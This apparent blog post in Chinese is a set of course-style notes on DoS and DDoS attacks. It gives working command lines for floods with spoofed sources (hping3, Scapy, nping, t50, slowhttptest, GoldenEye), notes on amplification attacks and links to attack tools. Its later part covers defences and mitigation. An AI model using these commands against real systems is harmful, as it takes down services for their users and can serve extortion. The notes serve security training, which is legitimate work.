DoS和DDoS拒绝服务

DoS拒绝服务

简介

DoS拒绝服务

利用程序漏洞或一对一资源耗尽的Denial of Service拒绝服务

DDoS分布式拒绝服务

一对一的攻击完全拼各自的资源,效果差
多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型

历史

以前:欠缺技术能力的无赖,我ping死你(最难缠的无赖)
现在:最强大最危险的攻击,攻击方式众多(专业化的要求勒索) 亲身经历:电商网站被勒索、Bill gates僵尸程序
贩卖和租用肉鸡已经成为黑产中重要的一部分
最终的办法就是拼资源,投资抗D,或者乖乖交保护费

分类

D网络

  • 基于巨量的Flood耗尽目标网络带宽资源
    如:ICMP Flood, UDP Flood

D协议

  • 攻击协议漏洞发起的拒绝服务攻击
    如:Syn Flood、Ping of Death、ARP、DNS、802.11、SSL

D应用

  • 针对应用软件和操作系统漏洞发起的拒绝服务攻击
    大量频繁访问消耗系统资源严重的应用(CC)
    通常表现为操作系统运行正常,网络流量不大,
    但服务停止响应
    可以是一击毙命的,也可以是耗尽目标资源的

以上分类并不严谨,不必太过执着于此

为何会被DoS

从攻击者到被害者

网络->FW->服务器OS->服务应用

资源耗尽

网络:带宽
FW:吞吐量、并发连接、服务器 CPU、内存、I/O
应用:处理请求能力,对OS资源的使用权

程序漏洞攻击 、缓冲区溢出、协议、程序逻辑漏洞

拒绝服务实例

syn flood

  • 常伴随ip欺骗
    真正的攻击目标
    Scapy
    -i=IP()
    -i.dst=1.1.1.1
    -i.display()
    -t=TCP()
    -sr1(i/t,verbose=1,timeout=3)
    -sr1(IP(dst=1.1.1.1)/TCP())

    • 攻击脚本:./syn_flood.py
      //设置防火墙,丢弃rst数据包
      -iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 1.1.1.1 -j DROP
      -netstat -n I awk ‘/^ tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}‘
      Windows系统默认半开连接数10个

      • 发一个包释放一个连接,这种达不到攻击郊果。要构成攻击效果可以通过iptables限止发送RST包。
        这样就可以达到攻击郊果。iptables写法如下:
        #iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.21.117 -j DROP

IP地址欺骗

  • 经常用于DoS攻击
    ■根据IP头地址寻址 -伪造IP源地址
    ■边界路由器过滤
    一入站、出战
    ■受害者可能是源、目的地址
    ■绕过基于地址的验证
    ■压力测试模拟多用户
    ■上层协议(TCP序列号)

Smurf攻击

  • 世界上最古老的DDoS攻击技术
    -向广播地址发送伪造源地址的ICMP echo Request (ping)包
    -LAN所有计算机向伪造源地址返回响应包
    -对现代操作系统几乎无效(不响应目标为广播的ping)

    • Scapy
      -i=IP()
      -i.dst=“1.1.1.255”
      -p=ICMP()
      -p.display()
      -r=(i/p)
      -send(IP(dst=“1.1.1.255”,src=“1.1.1.2”)/ICMP(),count=100,verbose=1)

sockstress攻击

  • 2008年由 Jack C. Louis 发现,针对TCP服务的拒绝服务攻击
    -消耗被攻击目标系统资源 -与攻击目标建立大量socket链接
    -完成三次握手,最后的ACK包window大小为0 (客户端不接收数据) -攻击者资源消耗小(CPU、内存、带宽)
    -异步攻击,单机可拒绝服务高配资源服务器
    -Window窗-实现的TCP流控

    • Python攻击脚本
      ./sicjstress.py 1.1.1.1 21 100
      C攻击脚本
      -https://github.com/defuse/sockstress
      -gcc -Wall -c sockstress.c
      -gcc -pthread -o sockstress sockstress.o
      -./sockstress 1.1.1.1:80 eth0
      -./sockstress 1.1.1.1:80 eth0 -p payloads/http
      防火墙规则
      -iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP

      • 攻击效果
        -Netstat
        -Free
        -Top

  • Sockstress防范

    • 防御措施
      -直到今天sockstress攻击仍然是一种很有效的DoS攻击方式 -甶于建立完整的TCP三步握手,因此使用syn cookie防御无效 -根本的防御方法是采用白名单(不实际)
      -折中对策:限制单位时间内每IP建的TCP连接数
      ■封杀每30秒与80端口建立连接超过10个的IP地址
      ■iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
      ■ iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -¬seconds 30 --hitcount 10 -j DROP
      ■以上规则对DDoS攻击无效

TearDrop攻击

  • 主要针对早期微软操作系统(95、98、3.x、nt)
    -近些年有人发现对2.x版本的android系统、6.0 IOS系统攻击有效
    原理很有趣
    -使用IP分段偏移值实现分段覆盖,接收端处理分段覆盖时可被拒绝服务
    攻击效果
    -被攻击者蓝屏、重启、卡死

  • Ping大包,比较正常分段与teardrop攻击流量的区别
    ■针对早期windows系统SMB协议的攻击(网上自行找脚本测试)
    ■针对Android、IOS系统的攻击(只针对低版本)

DNS放大攻击

  • ■产生大流量的攻击方法
    -单机的带宽优势
    -巨大单机数量形成的流量汇聚
    -利用协议特性实现放大效果的流量

    • ■ DNS协议放大效果
      -查询请求流量小,但响应流量可能非常巨大
      -digANYhp.com @202.106.0.20 (流量放大约8倍)

      • ■攻击原理
        -伪造源地址为被攻击目标地址,向递归域名查询服务器发起查询
        -DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDoS
  • Scapy构造攻击数据包
    IP/UDP/DNS/DNS查询内容

    • 结合IP地址欺骗,利用大量DNS服务器做傀儡攻击目标

SNMP放大攻击

  • ■简单网络管理协议
    -Simple Network Management Protocol
    -服务端□ UDP 161 / 162
    -管理站(manager /客户端)、被管理设备(agent /服务端)
    -管理信息数据库(MIB)是一个信息存储库,包含管理代理中的有关配置和性能 的数据,按照不同分类,包含分属不同组的多个数据对象
    -每一个节点都有一个对象标识符(OID)来唯一的标识 -IETF定义便准的MIB库/厂家自定义MIB库

  • ■攻击原理
    -请求流量小,查询结果返回流量大 -结合伪造源地址实现攻击

    • 安装SNMP服务
      -定义 community

NTP放大攻击

  • 网络时间协议
    —Network Time Protocol
    -保证网络设备时间同步
    -电子设备互相干扰导致时钟差异越来越大
    -影响应用正常运行、日志审计不可信
    -服务端□ UDP 123

    • 攻击原理
      -NTP服务提monlist (MON_GETLIST)查询功能
      监控NTP服务器的状况
      -客户端查询时,NTP服务器返回最后同步时间的600个客户端IP
      每6个IP—个数据包,最多100个数据包(放大约100倍)

      • 发现NTP服务
        —nmap -sU -p123 1.1.1.1
        发现漏洞
        —ntpdc -n -c monlist 1.1.1.1
        —ntpq -c rv 1.1.1.1
  • ntpdc -c sysinfo 192.168.20.5
    配置文件
    -/etc/ntp.conf
    restrict -4 default kod nomodify notrap nopeer noquery
    restrict -6 default kod nomodify notrap nopeer noquery
    NTP攻击对策
    -升级到ntpd 4.2.7p26及以上的版本(默认关闭monlist查询) -手动关闭monlist查询功能

      	- 
    

应用层DoS

  • Searchsploit ms12-020 这个命令是搜索kali下面相关漏洞利用工具
  • 应用服务漏洞
    -服务代码存在漏洞,遇异常提交数据时程序崩溃
    -应用处理大量并发请求能力有限,被拒绝的是应用或OS

缓冲区溢出漏洞
-向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
-影响:远程代码执行、DoS
-利用模糊测试方法发现缓冲区溢出漏洞

CesarFTP 0.99 服务漏洞
-ftp_fuzz.py # MKD/RMD
MS12-020远程桌面协议DoS漏洞

- Slowhttptest (源自google)

-低带宽应用层慢速DoS攻击(相对于CC等快速攻击而言的慢速)
-最早由Python编写,跨平台支持(Linux、win、Cygwin、OSX) -尤其擅长攻击apache、tomcat (几乎百发百中)

攻击方法
-Slowloris、Slow HTTP POST 攻击
耗尽应用的并发连接池,类似于Http层的Syn flood
HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整,服务器时钟为其保留连接资源池占用,此类大量并发将导致DoS
Slowloris:完整的http请求结尾是\r\n\r\n,攻击发\r\n…
Slow POST: HTTP头content-length声明长度,但body部分缓慢发送

	- 攻击方法

-Slow Read attack攻击
与slowloris and slow POST目的相同,都是耗尽应用的并发连接池
不同之处在于请求正常发送,但慢速读取响应数据
攻击者调整TCP window窗口大小,是服务器慢速返回数据

-Apache Range Header attack
客户端传输大文件时,体积查过HTTP Body大小限制时进行分段
耗尽服务器CPU、内存资源

		- ulimite -n 70000

HTTP Post攻击模式
—slowhttptest -c 1000 -B -g -o body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://1.1.1.1 -x 10 -p 3

slowloris攻击模式
-slowhttptest -c 1000 -H -g -o header_stats -i 10 -r 200 -t GET -u http:// 1.1.1.1 -x 24 -p 3

支持代理
大量应用服务器和安全设备都无法防护慢速攻击

邮件攻击

  • 炸邮箱

使用垃圾邮件塞满邮箱

■无意识的/非故意的拒绝服务攻击
-数据库服务器宕机恢复后,引用队列大量请求洪水涌来
-告警邮件在邮件服务器修改地址后洪水攻击防火墙

拒绝服务攻击工具

RUDY

  • -慢速应用层HTTP POST攻击,与slowhttptest原理相同
    -每次只传输一个字节的数据
    -美剧“黑客军团”中曾提到此攻击手段
    -攻击有表单WEB页面,攻击时需指定攻击的参数名称
    -https://sourceforge.net/projects/r-u-dead-yet/

    • 详细说明请参考慢速攻击说明文档

      • RUDY攻击结果图

Hping3

  • -几乎可以定制发送任何TCP/IP数据包,用于测试FW、端口扫描、性能测试

Syn Flood 攻击

  • -hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 1.1.1.1
  • -hping3 -S -P -U -p 80 --flood --rand-source 1.1.1.1
  • -hping3 -SARFUP -p 80 --flood --rand-source 1.1.1.1 (TCP Flood)
  • –rand-source 用公网随机地址进行攻击
    1.1.1.1 攻击目标
    -a 2.2.2.2 伪造成2.2.2.2进行攻击

详细帮助文档:http://cnhotfire.blog.51cto.com/2042323/698362/

ICMP Flood 攻击

  • -hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood 1.1.1.2

UDP Flood 攻击

  • -hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood 1.1.1.2

LAND攻击

  • -特殊种类的SYN Flood攻击
    -源地址、目的地址都是受害者,受害者于自己完成三次握手
    —hping3 -n –a 1.1.1.1 -S -d 100 -p 80 –flood 1.1.1.1

    • LAND攻者是伪造的源地址和要攻击目标地址是同一个地址,也就是说自己与自己建立连接。
      可用tcpdump –I eth0 –s 0 –vv查看
      nping --tcp-connect --rate=10000 -c 1000000000 -q 1.1.1.1
      //–rate=100000 一次建10000个连接,-C是一共建1000000000连接。

TCP全链接DoS攻击

  • —nping --tcp-connect --rate=10000 -c 1000000000 -q 1.1.1.1

查公网丨P

  • —nping --echo-client “public” echo.nmap.org --udp

Siege

    • http/https压力测试工具,模拟多个用户并发访问请求
  • siege -g http://1.1.1.1/a.php //扫描网站banner信息

  • siege -i -c 1000 http://1.1.1.1/a.php -A siegehttp -vv
    同时攻击多个url,使用-f调用字典文件 /etc/siege/urls.txt,也可以直接
    编辑urls.txt把要攻击的地址放进去直接使用siege –i –c 1000 -vv就可以攻击

    • Siege攻击一般用作并发量、性能测试,多用户并发访问测试。开发上线一般都会经过这步。
      siege -i -c 1000 http://1.1.1.1/a.php -A siegehttp 10000用户并发, -A代表指纹信息,可随便填定。

T50网络压力测试

    • t50 1.1.1.1 --flood --turbo -S --protocol TCP --dport 80
  • t50 1.1.1.1 --flood --turbo -S TCP UDP OSPF EIGRP --dport 22

Nmap

  • -grep dos /usr/share/nmap/scripts/script.db |cut -d “”" -f 2

匿名者攻击工具

匿名者发布的DoS工具

–LOIC

– HOIC

—DDoSer

■招募志愿者发放以上工具

■以上DoS工具不隐藏真实IP地址

其它拒绝服务工具

XOIC

  • -攻击任意IP地址的指定端口
    — git clone git://git.code.sf.net/p/xoic/code xoic-code
    — https://xoicdoser.wordpress.com/
    — 三种模式:test、normal、DoS Attack
    — 支持协议:TCP/HTTP/UDP/ICMP

HULK - Http Unbearable Load King

  • -Python脚本
    -随机产生大量唯一的地址请求,避免缓存命中 -耗尽WEB服务器资源池
    https://packetstormsecurity.com/files/download/112856/hulk.zip

DDOSIM

  • -7层拒绝服务工具(模拟多个僵尸机)
    -随机IP地址 一基于TCP连接的攻击 -应用层DDoS攻击
    -正常的HTTP请求、非正常的HTTP请求式DDoS -SMTP DDoS
    -随机端口的TCP连接洪水

GoldenEye

  • -http/https拒绝服务攻击工具
    -安全研究为目的Python脚本
    -随机攻击向量,keep-alive,避免缓存命中
    —wget https://github.com/jseidl/GoldenEye/archive/master.zip
    —./goldeneye.py http://1.1.1.1 -w 50
    -unzip master.zip

    • goldeneye.py http://1.1.1.1 -w 50 –m random //-w 50 代表50个人 ,-s 500代表每个人500个,50*500打25000个链接。

拒绝服务防护

定期扫描和加固自身业务设备

  • 定期扫描现有的网络主节点及主机,清查可能存在的安全漏洞和不规范的安全配置,对新出现的漏洞及时进行清理,对于需要加强安全配置的参数进行加固

确保资源冗余,提升耐打能力

  • 建立多节点负载均衡,配备多线路高带宽,配备强大的运算能力,借此“吸收”DDoS攻击

服务最小化,关停不必要的服务和端口

  • 关停不必要的服务和端口,实现服务最小化,例如WWW服务器只开放80而将其它所有端口关闭或在防火墙上做阻止策略。可大大减少被与服务不相关的攻击所影响的概率

选择专业的产品和服务

  • 三分产品技术,七分设计服务,除了防护产品本身的功能、性能、稳定性,易用性等方面,还需要考虑防护产品厂家的技术实力,服务和支持能力,应急经验等

多层监控、纵深防御

  • 从骨干网络、IDC入口网络的BPS、PPS、协议分布,负载均衡层的新建连接数、并发连接数、BPS、PPS到主机层的CPU状态、TCP新建连接数状态、TCP并发连接数状态,到业务层的业务处理量、业务连通性等多个点部署监控系统。即使一个监控点失效,其他监控点也能够及时给出报警信息。多个点信息结合,准确判断被攻击目标和攻击手法

完备的防御组织

  • 囊括到足够全面的人员,至少包含监控部门、运维部门、网络部门、安全部门、客服部门、业务部门等,所有人员都需要2-3个备份

明确并执行应急流程

  • 提前演练,应急流程启动后,除了人工处理,还应该包含一定的自动处理、半自动处理能力。例如自动化的攻击分析,确定攻击类型,自动化、半自动化的防御策略,在安全人员到位之前,最先发现攻击的部门可以做一些缓解措施

特别防护分类

对DDoS防御,主要的工作是幕后积累。没有充分的资源准备,没有足够的应急演练,没有丰富的处理经验,DDoS攻击将会造成灾难性的后果。

  • 本地第一层DDoS防护

    • 守住自家门口,在本地网络边界上部署抗DDoS设备,在出口带宽未堵塞的情况下,尽可能处理掉非带宽占用型的DDoS攻击:如SYN Flood、HTTP GET、DNS攻击、慢速攻击等
  • 云端第二层DDoS防护

    • 当攻击流量超过本地出口带宽和DDoS防护设备处理能力是,采用上游运营商或MSSP提供的云端清洗服务
  • 源端第三层DDoS防护

    • 如果攻击的强度连上游运营商和MSSP也无法承受,必须考虑横向多方合作,在各自的控制范围内抑制本网发出的攻击流量

DDoS多层防御结构

静态/动态过滤

ACL过滤
TCP协议过滤

  • 客户端真实性检测

Cookie验证
重传验证
TCP反弹验证

- 特征识别

网络层特征
传输层特征
应用层特征
自定义特征

	- 应用层分析

HTTP get攻击
DNS Query攻击

		- 限速

源IP限速
目的IP限速
应用层信息限速

ADS流量清晰工作原理

Anonymous 匿名者

 世界最著名的黑客组织,组织结构宽松,人员来自世界各地。以DDoS攻击著称的无政府主义者 -亦正亦邪,攻击恐怖组织也攻击政府宗教机构 ,近些年来涉足政治斗争,成员露面时均带有Guy Fawkes面具,最早的核心成员来自4chan图片社区 ,惯常雇佣外围黑客成员发动DDoS攻击

口号
-We are Anonymous,
We are a Legion,
We do not forgive,
We do not forget,
Expect us

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值